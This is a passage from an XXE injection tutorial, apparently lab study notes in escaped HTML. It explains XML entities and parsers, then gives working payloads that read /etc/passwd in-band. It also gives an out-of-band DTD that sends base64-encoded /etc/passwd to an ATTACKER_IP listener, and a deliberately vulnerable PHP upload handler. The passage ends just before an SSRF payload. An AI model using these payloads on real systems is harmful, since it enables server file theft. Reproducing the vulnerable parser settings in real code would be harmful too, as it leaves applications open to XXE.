&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;info&amp;gt;&lt;/span&gt;&amp;amp;inf;&lt;span style="color:#f92672"&gt;&amp;lt;/info&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;External Entities:&lt;/strong&gt; Similar to internal entities but their contents are referenced from outside of XML doc, such as seperate file or URL. This feature can be exploited in XXE attacks if the XML processor is configured to resolve external entities.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE note [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY ext SYSTEM &amp;#34;http://example.com/external.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;info&amp;gt;&lt;/span&gt;&amp;amp;ext;&lt;span style="color:#f92672"&gt;&amp;lt;/info&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Parameter Entities:&lt;/strong&gt; specials types of entities used within DTDs to define reusable structures or to include external DTD subsets. These are particularly usefull for modularizing DTDs and maintaining large scale XML applications.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE note [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- %common; is used within DTD to define type of data that name can hold. --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY % common &amp;#34;CDATA&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT name ($common;)&amp;gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;John Doe&lt;span style="color:#f92672"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;General Entities:&lt;/strong&gt; Used to define substitutions that can be used withtin the body of the XML document. Unlike parameter entities, these are inteded for use in document content.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE note [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY author &amp;#34;John Doe&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;writer&amp;gt;&lt;/span&gt;&amp;amp;author;&lt;span style="color:#f92672"&gt;&amp;lt;/writer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/note&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Character Entities:&lt;/strong&gt; are used to represent special or reserved characters that cannot be used directly in XML documents. These entites prevent the parser from misinterpreting XML syntax. For exmaple
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;lt;&lt;/code&gt; for the &lt;code&gt;&amp;lt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;gt;&lt;/code&gt; for the &lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;amp;&lt;/code&gt; for the &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="xml-parsing-mechanisms"&gt;XML Parsing Mechanisms&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;XML parsing is the process by which XML file is read, and its information is accessed and manipulated by software program.&lt;/li&gt;
&lt;li&gt;XML parsers convert data from XML format into a structure that a program can use. During this process, parsers may validate XML data against a schema or a DTD, ensuring the structure conforms to certain values.&lt;/li&gt;
&lt;li&gt;Common XML Parsers in different programming environments; each parser handle data differently, which can affect vulnerability to XXE injection.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DOM Parser:&lt;/strong&gt; This method builds the entire XML doc into a memory based tree structure, allowing random access to all parts of doc. Its resourse intensive but flexible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SAX (Simple API for XML):&lt;/strong&gt; Parses XML data sequentially without loading whole document into memory, making it suitable for large XML files. However, it is less flexible for accessing XML data randamly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;StAX (Streaming API for XML):&lt;/strong&gt; Similar to SAX, StAX parses XML documents in a streaming fashion but gives the programmer more control over XML parsing process.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XPath Parser:&lt;/strong&gt; Parses an XML doc based on expression and is used extensively in conjuction with XSLT.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploiting-xxe-in-band"&gt;Exploiting XXE: In-band&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In-band refers to an XXE vulnerability where the attacker see the response form the server. This allows straight forward data exfiltration and exploitation. The attacker can simply send a malicious XML payload to the application, and the server will respond with extracted data or the result of attack.&lt;/li&gt;
&lt;li&gt;Out-of-band XXE vulnerability, on the other hand, attacker cannot see response from the server. This requires alternative channels, such as DNS or HTTP requests, to exfiltrate data. To extract the data, the attacker must craft a malicious XML payload that will trigger an out-of-band request, such as DNS query or an HTTP request.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="example"&gt;Example:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lets say, if a webserver directly parses a xml doc from post request and print the name value.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;My Name&lt;span style="color:#f92672"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;email&amp;gt;&lt;/span&gt;test@test.com&lt;span style="color:#f92672"&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;message&amp;gt;&lt;/span&gt;Test Message&lt;span style="color:#f92672"&gt;&amp;lt;/message&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;As it does not sanitize the input, we can provide the variable &lt;code&gt;xxe&lt;/code&gt; which points to content in /etc/passwd as name value.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE foo [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT foo ANY&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY xxe SYSTEM &amp;#34;file:////etc/passwd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;&amp;amp;xxe;&lt;span style="color:#f92672"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;email&amp;gt;&lt;/span&gt;test@test.com&lt;span style="color:#f92672"&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;message&amp;gt;&lt;/span&gt;Test Message&lt;span style="color:#f92672"&gt;&amp;lt;/message&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="xml-entity-expansion"&gt;XML Entity Expansion&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;It involves defining entities with in a XML doc, which the XML parser then expands. Attacker can abuse this feature by creating recursive or excessively large entitites, leading to a denial of service (Dos) attack or defining external entities referencing sensitive files or services. This method is central to both in-hand and out-of-band XXE, as it allows attackers to inject malicious entities into the XML data.&lt;/li&gt;
&lt;li&gt;For example:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE foo [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY xxe &amp;#34;This is a test messgte&amp;#34; &amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;&amp;amp;xxe; &amp;amp;xxe;&lt;span style="color:#f92672"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;email&amp;gt;&lt;/span&gt;test@test.com&lt;span style="color:#f92672"&gt;&amp;lt;/email&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;message&amp;gt;&lt;/span&gt;test&lt;span style="color:#f92672"&gt;&amp;lt;/message&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/contact&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;In the payload above, &amp;amp;xxe; is expanded wherever it appears. Attackers can use entity expansion to perform a Billion Laughs attack, where a small XML document recursively expands to consume server resources, leading to a denial of service.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="out-of-band-xxe"&gt;Out of Band XXE&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Lets consider a example of web application uses below php code to upload a file.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;libxml_disable_entity_loader&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $xmlData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;php://input&amp;#39;&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $doc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DOMDocument&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $doc&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;loadXML&lt;/span&gt;($xmlData, &lt;span style="color:#a6e22e"&gt;LIBXML_NOENT&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LIBXML_DTDLOAD&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $links &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $doc&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getElementsByTagName&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;foreach&lt;/span&gt; ($links &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; $link) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $fileLink &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $link&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;nodeValue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $stmt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $conn&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;prepare&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $stmt&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;bind_param&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;s&amp;#34;&lt;/span&gt;, $fileLink);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $stmt&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;execute&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($stmt&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;affected_rows&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Link saved successfully.&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Error saving link.&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $stmt&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;The code above doesn&amp;rsquo;t return the values of the submitted XML data. Hence, the term Out-of-Band since the exfiltrated data has to be captured using an attacker-controlled server.&lt;/li&gt;
&lt;li&gt;For this attack, we will need a server that will receive data from other servers. We can use Python&amp;rsquo;s http.server module, although there are options out there.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Start a http server in kali&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 &lt;span style="color:#f92672"&gt;-&lt;/span&gt;m http&lt;span style="color:#f92672"&gt;.&lt;/span&gt;server &lt;span style="color:#ae81ff"&gt;1337&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Upload a file in the application and monitor the request that is sent to submit.php using your Burp. Forward the request below to Burp Repeater. And if there is possibility to modify the xml to exploit the system. Please see the modified xml payload.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE foo [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY xxe SYSTEM &amp;#34;http://ATTACKER_IP:1337/&amp;#34; &amp;gt;&lt;/span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;upload&amp;gt;&amp;lt;file&amp;gt;&lt;/span&gt;&amp;amp;xxe;&lt;span style="color:#f92672"&gt;&amp;lt;/file&amp;gt;&amp;lt;/upload&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;After sending the modified HTTP request, the Python web server will receive a connection from the target machine. The establishment of a connection with the server indicates that sensitive information can be extracted from the application.&lt;/li&gt;
&lt;li&gt;We can now create a DTD file that contains an external entity with a PHP filter to exfiltrate data from the target web application.&lt;/li&gt;
&lt;li&gt;Save the sample DTD file below and name it as sample.dtd.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- sample.dtd file exfiltrate the contents of /etc/passwd and send the response back to the attacker-controlled server --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- The %cmd entity refers to a resource within the PHP filter protocol php://filter/convert.base64-encode/resource=/etc/passwd. It retrieves the base64 encoded content of /etc/passwd --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY % cmd SYSTEM &amp;#34;php://filter/convert.base64-encode/resource=/etc/passwd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- The %oobxxe entity contains another XML entity declaration, exfil, which has a system identifier pointing to the attacker-controlled server. --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!ENTITY % oobxxe &amp;#34;&amp;lt;!ENTITY exfil SYSTEM &amp;#39;http://ATTACKER_IP:1337/?data=%cmd;&amp;#39;&amp;gt;&lt;/span&gt;&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;%oobxxe;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Go back to the repeater and change your payload to and send the request.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE upload SYSTEM &amp;#34;http://ATTACKER_IP:1337/sample.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;upload&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;file&amp;gt;&lt;/span&gt;&amp;amp;exfil;&lt;span style="color:#f92672"&gt;&amp;lt;/file&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/upload&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Resend the request and check your terminal. You will receive two (2) requests. The first is the request for the sample.dtd file, and the second is the request sent by the vulnerable application containing the encoded /etc/passwd.&lt;/li&gt;
&lt;li&gt;Decoding the exfiltrated base64 data will show that it contains the base64 value of /etc/passwd.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssrf--xxe"&gt;SSRF + XXE&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Server-Side Request Forgery (SSRF) attacks occur when an attacker abuses functionality on a server, causing the server to make requests to an unintended location.&lt;/li&gt;
&lt;li&gt;In the context of XXE, an attacker can manipulate XML input to make the server issue requests to internal services or access internal files.&lt;/li&gt;
&lt;li&gt;This technique can be used to scan internal networks, access restricted endpoints, or interact with services that are only accessible from the server’s local network.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="example-1"&gt;Example:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Consider a scenario where a vulnerable server hosts another web application internally on a non-standard port. An attacker can exploit an XXE vulnerability that makes the server send a request to its own internal network resource.&lt;/li&gt;
&lt;li&gt;For example, using the captured request from the in-band XXE task, send the captured request to Burp Intruder and use the payload below:
